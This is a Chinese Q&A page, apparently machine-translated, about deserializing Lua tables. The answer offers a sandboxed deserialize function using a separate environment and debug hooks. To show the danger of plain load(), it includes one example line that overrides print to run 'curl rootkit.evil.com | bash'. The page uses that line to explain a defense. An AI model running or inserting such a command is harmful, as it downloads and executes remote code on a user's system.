Lua中的反序列化

2024-02-23

我已经在lua中序列化了一个表。lua有没有反序列化它的函数?

function dump(o)
   if type(o) == 'table' then
   local s = '{ '
   for k,v in pairs(o) do
      if type(k) ~= 'number' then k = '"'..k..'"' end
      s = s .. '['..k..'] = ' .. dump(v) .. ','
   end
   return s .. '} '
   else
      return tostring(o)
   end
end

local people = {
   {
      name = "Fred",
      address = "16 Long Street",
      phone = "123456"
   },

   {
      name = "Wilma",
      address = "16 Long Street",
      phone = "123456"
   },

   {
      name = "Barney",
      address = "17 Long Street",
      phone = "123457"
   }

}
file = io.open("test.lua", "a")
file:write("People:", dump(people))

该程序的输出是:
人员:{ [1] = { [“电话”] = 123456,[“姓名”] = Fred,[“地址”] = 长街 16 号,} ,[2] = { [“电话”] = 123456,[ “名字”]=威尔玛, [“地址”] = 长街 16 号,} ,[3] = { [“电话”] = 123457,[“姓名”] = 巴尼,[“地址”] = 长街 17 号,} ,}

请建议一种在 lua 中反序列化的方法。


如果你稍微改变你的代码......

...
         end
         return s .. '} '
+++   elseif type(o) == 'string' then
+++      return ("%q"):format( o )
      else
        return tostring(o)
      end
...

…你生成了有效的 Lua。

现在你可以

local function condfail( cond, ... )
    if not cond then  return nil, (...) end
    return ...
end

function deserialize( str, vars )
    -- create dummy environment
    local env = vars and setmetatable( {}, {__index=vars} ) or {}
    -- create function that returns deserialized value(s)
    local f, _err = load( "return "..str, "=deserialize", "t", env )
    if not f then  return nil, _err  end -- syntax error?
    -- set up safe runner
    local co = coroutine.create( f )
    local hook = function( )  debug.sethook( co, error, "c", 1000000 )  end
    debug.sethook( co, hook, "c" )
    -- now run the deserialization
    return condfail( coroutine.resume( co ) )
end

以相当安全的方式反序列化数据。

反序列化数据的不安全方法是简单地load( "return "..str )( ),但这将允许运行任意 Lua 代码。

首先,我们将函数放在一个单独的环境中,这样它就不会影响全局环境。 (否则,做,说,print = function() os.execute "curl rootkit.evil.com | bash" end会将函数替换为稍后从不同(不受保护的)上下文调用并运行任意代码的函数。)为了方便起见,您可以传入一个表,以便数据可以引用预定义的变量。 (您可能不需要这个,但是如果您需要预定义的常量,那么就可以提供它们。)

接下来,我们在单独的协程中运行该函数,以便我们可以设置一个不影响程序其余部分的调试挂钩。然后我们可以通过有效设置来禁止进行任何函数调用debug.sethook( co, error, "c" )。 (因为“是”/返回您的数据的函数的初始调用已经触发了这一点,所以我们通过一次调用来延迟这一点。因此,我们设置了一个钩子,将钩子更改为error当被呼叫时。)

现在所有的函数调用都被禁止,外部不能受到正在运行的代码的影响。攻击者唯一能做的就是浪费时间 - 例如通过无限循环,比如while true do end or ::x:: goto x。所以我们在设置hook的时候也设置了一个最大指令数——debug.sethook( co, error, "c", 1000000 )。对于相对较大的文件来说,一百万条指令应该足够了。这是一个任意限制 - 如果太小则增加它。 (在循环中计数到 250000 就足够了,因此可以创建超过这个数量的原始值)。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Lua中的反序列化 的相关文章

  • JavaScriptSerializer 类是否已弃用?

    The MSDN 文档 https msdn microsoft com en us library system web script serialization javascriptserializer v vs 110 aspxJav
  • 在 Lua 中只归档一次

    我想知道是否有一种方法可以只执行一次 lua 文件 并且后续尝试执行该 lua 文件将导致无操作 我已经考虑过做一些类似于 C header 的 if else endif 技巧的事情 我想知道是否有一个标准方法来实现这一点 James w
  • 将 json 反序列化为对象:包装类解决方法

    这是我的 json accessType Grant spaces spaceId 5c209ba0 e24d 450d 8f23 44a99e6ae415 privilegeId db7cd037 6503 4dbf 8566 2cca4
  • XmlArray 序列化 - 如何使序列化程序忽略列表中项目的类名?

    我有一个类 除其他属性外 还有一个 MyObject 列表 public class MyClass XmlArray OBJECT public List
  • 如何处理类结构的变化并向后兼容使用 boost 序列化的数据/对象?

    我的任务是向使用的 C 类添加成员 boost serialization access 这些对象被存储到文本文件中并读回 但是 我需要向后兼容 并且新的 bool 成员必须被序列化 我需要允许新代码读取旧文件并仅写入新格式 具体来说 序列
  • 如何从 SBCL 解释器将特定函数写入文件?

    假设我在没有 SLIME 的情况下玩过 SBCL 没有任何简单的解释器 现在我想将几个函数保存在一个文件中 不是核心图像 只是文本形式的一些代码 我该怎么做呢 有两种方法可以做到这一点 使用DRIBBLE and or FUNCTION L
  • 克隆一个lua状态

    最近 我在使用C 和Lua进行开发时遇到了很多困难 我的情况是 由于某种原因 我的 C 程序中可能有数千个 Lua 状态 但这些状态在初始化后应该是相同的 当然 我可以为每个状态执行 luaL loadlibs 和 lua loadfile
  • 云到设备 Azure IoT REST API

    我探索了如何使用 Azure REST API 将数据从设备发送到云 它运行无缝 没有任何问题 我没有找到有关使用 Azure IoT Hub REST API 向 Arduino 板发送云到设备消息的好文章 有人可以就此提供建议吗 您还可
  • In 和 Out 属性在 .NET 中如何工作?

    我一直在尝试跨序列化数组AppDomain边界 使用以下代码 public int Read byte buffer int offset int count return base Read buffer offset count 作为猜
  • 使用最新 Ember Data 版本中的 RESTSerializer 格式化 JSON

    我正在努力将我的 JSON munge 成正确的格式 为了说明这一点 我做了一个快速的 JSfiddle http jsfiddle net chrismasters NQKvy 638 http jsfiddle net chrismas
  • 从命令行运行 vlc 扩展

    我有一个用 Lua 编写的 vlc 扩展 我知道如何从 GUI 运行它 查看 gt 我的扩展 我想从命令行运行它 这样我就不需要每次都启动X 它还没有实施 查看门票 3883 https trac videolan org vlc tick
  • C# WPF 将粘贴在 richtextbox 中的 BitmapImage 转换为二进制

    我有一个 Richtextbox 我计划将其保存到数据库中 该数据库可以加载回同一个 Richtextbox 中 我已经让它工作了 这样我就可以将流程文档保存为 DataFormats XamlPackage 这可以保存图像 但问题是文本不
  • 有没有某种方法可以为嵌套在 Jackson 的可选类型中的类型指定自定义反序列化器?

    我有一些类型需要用它们自己的特殊反序列化器和序列化器来处理 但是当类型嵌套在可选中时 如何指示 Jackson 使用它们 我正在使用 JDK8Module 它适用于任何不需要任何特殊处理的类型 当 JsonDeserialize和 Json
  • Lua(命令行)执行后保持打开状态

    我已经广泛寻找这个但我似乎找不到它 有什么方法可以执行Lua通过双击脚本 在中执行它 Lua Command Line 并在执行后保持打开状态 例如 print Hello World 该代码可以编译并运行 但是如果我双击hello lua
  • Java反序列化中避免重复对象

    我有两个列表 list1 和 list2 其中包含对某些对象的引用 其中某些列表条目可能指向同一对象 然后 由于各种原因 我将这些列表序列化为两个单独的文件 最后 当我反序列化列表时 我想确保我不会重新创建超出需要的对象 换句话说 List
  • 如何从表成员中引用lua表成员?

    我在 lua 有一张表 enUS LOCALE STHOUSANDS Thousands separator e g comma patNumber d LOCALE STHOUSANDS d regex to find a number
  • 使用 Protobuf-net 和 Monotouch for IOS 通过 WCF 序列化 IEnumerable 槽

    我正在尝试在 iOS 的 Monotouch Monodevelop 上编写 WCF 服务 我为可序列化对象使用了标准属性 例如 DataMember DataContract 为我的接口使用了 ServiceContract Operat
  • WCF 服务契约将被 XML 和 Json 序列化

    我如何创建要加入的服务合同XmlSerializer 格式也WebMessageFormat Json在 WCF RESTful 服务中 我需要的是从 ASP Net 1 1 的代码后面调用 CallADSWebMethod 操作契约 该契
  • 使对象在运行时可序列化[关闭]

    Closed 这个问题需要细节或清晰度 help closed questions 目前不接受答案 有没有办法在运行时使对象可序列化 我应该使用反射吗 注意 该对象是外部库的一部分 因此我没有它的源代码 tl 博士 不 虽然您可以使用Typ
  • 如何使用 Torch7 进行预测

    我仍在熟悉 Torch 到目前为止一切顺利 然而 我遇到了一个死胡同 我不知道如何解决 如何让 Torch7 或更具体地说 dp 库 来评估单个输入并返回预测输出 这是我的设置 基本上是 dp 演示 require dp hyperpara

随机推荐